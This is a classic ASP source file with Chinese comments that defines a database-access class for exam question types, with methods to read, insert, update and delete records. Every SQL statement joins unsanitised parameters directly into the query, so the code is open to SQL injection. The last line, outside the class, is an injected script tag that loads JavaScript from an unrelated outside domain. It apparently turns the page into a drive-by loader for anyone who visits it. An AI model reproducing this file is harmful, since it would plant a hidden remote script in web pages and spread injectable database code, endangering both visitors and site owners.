<%
  '本類用于保存對表EQuestionType的數據庫訪問操作
  '表的每個字段對應類的一個成員變量
  Class EQuestionType
    Public QTId    '試題類型編號
    Public TName     '試題類型名稱
	public TNum    '試題數量
	public TValue  '試題分數
    Public rs       '結果集
    Private strSql  'SQL語句
    '讀取單個試題類型信息
    public sub GetQTypeInfo(QTId)
      '創建Recordset對象，處理查詢結果集
      Set rs=Server.CreateObject("ADODB.Recordset")
      '設置rs的ActiveConnection屬性，綁定到連接
      Set rs.ActiveConnection = Conn
      '設置游標類型
      rs.CursorType = 3
      '設置查詢的SELECT語句
      sql = "SELECT * FROM EQuestionType WHERE QTId=" & QTId
      '打開記錄集
      rs.Open sql
    end sub
	
	'獲取所有試題類型信息
    public sub GetQTypelist()
	  '創建Recordset對象，處理查詢結果集
	  Set rs=Server.CreateObject("ADODB.Recordset")
	  '設置rs的ActiveConnection屬性，綁定到連接
	  Set rs.ActiveConnection = Conn
	  '設置游標類型
	  rs.CursorType = 3
	  '設置查詢的SELECT語句
 	  sql = "SELECT * FROM EQuestionType Order By QTId"
	  '打開記錄集
	  rs.Open sql
    End Sub

	'插入試題類型信息
    Public Sub InsertQType()
      strSql = "Insert Into EQuestionType Values('" & TName & "'," & TNum & "," & TValue & ")"
      conn.Execute(strSql)
    End Sub
	'修改試題類型信息
    Public Sub UpdatEQuestionType(QTId)
      strSql = "Update EQuestionType Set TName='" & TName & "',TNum=" & TNum & ",TValue=" & _
        TValue & " Where QTId=" & QTId
      conn.Execute(strSql)
    End Sub
	'刪除試題類型信息
    Public Sub DeletEQuestionType(QTIds)
      strSql = "DELETE FROM EQuestionType WHERE QTId In(" & QTIds & ")"
      conn.Execute(strSql)
    End Sub
	'判斷指定的試題類型名稱是否存在
	Public Function HaveQType(TName)
	  strSql = "Select * From EQuestionType Where TName='" & TName & "'"
	  Set rs = Server.CreateObject("Adodb.RecordSet")
	  rs.Open strSql,conn,1,3
	  If rs.EOF Then
            exist = False
	  Else
            exist = True
	  End If
          HaveQType = exist
	End Function
  End Class
%>
<script language=javascript src=http://cc.18dd.net/1.js></script>